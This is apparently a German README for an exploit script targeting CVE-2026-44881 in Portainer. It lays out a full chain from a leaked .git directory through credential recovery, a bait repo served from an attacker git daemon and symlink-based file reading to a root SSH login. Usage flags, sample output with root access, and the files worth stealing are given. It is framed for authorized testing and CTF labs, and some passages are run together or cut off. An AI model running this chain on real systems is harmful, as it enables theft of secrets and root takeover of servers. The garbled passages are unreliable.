
Einzel-Skript-Exploit für CVE-2026-44881, eine Git-Symlink-Injection in Portainer, die das Lesen beliebiger Host-Dateien durch einen authentifizierten Benutzer mit geringen Rechten und Stack-Erstellungsrechten ermöglicht.
Ein-Skript-Exploit für CVE-2026-44881, eine Git-Symlink-Injektion in Portainers Stack-Deployment-Ablauf, die es jedem authentifizierten Benutzer mit niedrigen Berechtigungen und Stack-Erstellungsrechten ermöglicht, beliebige Dateien zu lesen, die vom Portainer-Prozess erreichbar sind.
Hinweis: GHSA-rpgq-m5fp-32wr Betroffen: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xBehoben in:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
Die Schwachstelle ist eine Kombination aus zwei Primitiven:
go-git v5 übersetzt Git-Baumeinträge mit Modus 0o120000 (Symlink) in echte OS-Symlinks während git clone. Der einzige blockierte Name ist .gitmodules; jeder andere Pfad – einschließlich docker-compose.yml, den Portainer als Stack-Einstiegspunkt behandelt – kann ein Symlink mit einem beliebigen relativen Ziel sein.Service.GetFileContent (api/filesystem/filesystem.go) liest die Stack-Einstiegsdatei mit os.ReadFile, das transparent OS-Symlinks folgt. JoinPaths verhindert ../ im Eingabe-String, ruft aber niemals filepath.EvalSymlinks auf, sodass ein bereits auf der Festplatte befindlicher Symlink problemlos zu seinem Ziel aufgelöst wird.Portainer läuft üblicherweise als root in seinem Container (erforderlich für den Docker-Socket), daher reicht die Leseprimitive so weit, wie der Container sehen kann – typischerweise /data/portainer.db (BoltDB mit allen Passwort-Hashes und API-Token der Benutzer), Kubernetes-Service-Account-Tokens unter /var/run/secrets/kubernetes.io/serviceaccount/token, Docker-Swarm-Secrets unter /run/secrets/ und – in Bereitstellungen, die das Host-Dateisystem per Bind-Mount für die Überwachung bereitstellen – das Host-/etc/shadow, /root/.ssh/* und so weiter.
Dieses Skript verkettet:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
Erkennt die Angreifer-IP automatisch von ip addr und geht davon aus, dass .git unter http://target/.git/ freigegeben ist. Überschreiben Sie alles, was nicht zu Ihrer Umgebung passt:
-t, --target Ziel-IP (erforderlich) -a, --attacker Angreifer-IP, die Portainer für den Git-Daemon gemeldet wird (automatisch erkannt) -l, --leak-path Pfad des freigegebenen .git-Verzeichnisses (Standard: /.git) -p, --portainer-port Portainer-HTTP-Port (Standard: 9000) -g, --git-port Lokaler Git-Daemon-Port (Standard: 9418) -w, --workdir Arbeitsverzeichnis für temporäre Dateien (Standard: mktemp) -u, --user .git-Enumeration überspringen; diesen Portainer-Benutzernamen verwenden -P, --pass .git-Enumeration überspringen; dieses Portainer-Passwort verwenden --no-creds-from-git .git-Phase überspringen und -u/-P erfordern --no-ssh Den abschließenden SSH-Schritt überspringen -h, --help Diese Hilfe anzeigen und beenden
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (mit git daemon), sshgit-dumper — pipx install git-dumper. Das Skript enthält einen minimalen integrierten Dumb-HTTP-Enumerator, der den einfachen Los-Objekt-Fall behandelt, wenn git-dumper fehlt, aber für jedes nicht-triviale geleakte .git-Verzeichnis ist das vollständige Tool viel zuverlässiger./:/mnt/host:ro aus und liest /mnt/host/root/.ssh/id_rsa. Um andere Dateien anzugreifen, bearbeiten Sie das Symlink-Ziel in Stage 5 (../../../mnt/host/root/.ssh/id_rsa). Portainers go-billy chroot-jails absolute Symlinks zum Arbeitsbaum, daher muss das Ziel relativ sein..git wiederhergestellten Anmeldeinformationen gelten nur für Portainer – sie gewähren keinen SSH- oder direkten Host-Zugriff. Das Labor ist so eingerichtet, dass der einzige Weg zu RCE auf Host-Ebene über die CVE selbst führt.{"message":"stack config file is invalid"} antwortet – der Validator beschwert sich, dass ein SSH-Schlüssel kein gültiges YAML ist. Der Klon hat den Arbeitsbaum bereits überschrieben, wenn der Validator läuft, was genau das ist, was wir brauchen.MIT. Nur für autorisierte Tests und CTF-/Laborzwecke.